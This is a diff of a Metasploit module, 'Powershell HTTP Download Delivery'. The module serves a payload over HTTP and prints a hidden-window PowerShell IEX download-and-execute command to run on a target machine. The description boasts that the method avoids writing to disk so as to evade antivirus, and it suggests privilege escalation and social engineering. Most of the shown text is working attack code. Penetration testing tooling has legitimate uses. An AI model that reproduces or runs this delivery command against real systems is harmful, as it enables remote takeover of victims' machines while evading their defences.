@@ -14,14 +14,19 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'Powershell HTTP Downloader ' ,
17
+ 'Name' => 'Powershell HTTP Download Delivery ' ,
18
18
'Description' => %q{
19
19
Quickly fires up a web server that serves the payload in powershell.
20
- Two commands are given, the first will download and execute the payload
21
- from within a powershell terminal. The second will start powershell and
22
- then download and execute the payload. The main goal of this module is
23
- so that a session can be quickly established on a target machine when
24
- you have to manually type in the command yourself.
20
+ The command will start powershell and then download and execute the payload.
21
+ You can extract the IEX command to execute directly from powershell.
22
+ The main goal of this module is that a session can be quickly established
23
+ on a target machine when you have to manually type in the command yourself,
24
+ e.g. RDP Session, Local Access or maybe Remote Command Exec.
25
+ This does not write to disk so is unlikely to trigger AV solutions and will
26
+ allow you to attempt local privilege escalations supplied by meterpreter etc.
27
+ You could also try your luck with social engineering.
28
+ Ensure your payload architecture matches the target computer or use SYSWOW64
29
+ powershell.exe to execute x86 payloads on x64 machines.
25
30
} ,
26
31
'License' => MSF_LICENSE ,
27
32
'Author' =>
@@ -47,19 +52,13 @@ def on_request_uri(cli, request)
47
52
print_status ( "Delivering Payload" )
48
53
data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
49
54
send_response ( cli , data , { 'Content-Type' => 'application/octet-stream' } )
50
- return
51
-
52
55
end
53
56
54
- def exploit
55
- datastore [ 'URIPATH' ] ||= Rex ::Text . rand_text_alpha ( 6 )
56
- url = ( datastore [ 'SSL' ] ? "https://" : "http://" )
57
- url += ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? datastore [ 'LHOST' ] : datastore [ 'SRVHOST' ]
58
- url += ":" + datastore [ 'SRVPORT' ] . to_s + "/" + datastore [ 'URIPATH' ]
57
+ def primer
58
+ url = get_uri ( )
59
59
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
60
- print_good ( download_and_run )
61
- print_good ( "powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \" #{ download_and_run } \" " )
62
- print_line
63
- super
60
+ print_status ( "Run the following command on the target machine:" )
61
+ print_line ( "powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \" #{ download_and_run } \" " )
64
62
end
65
63
end
64
+
0 commit comments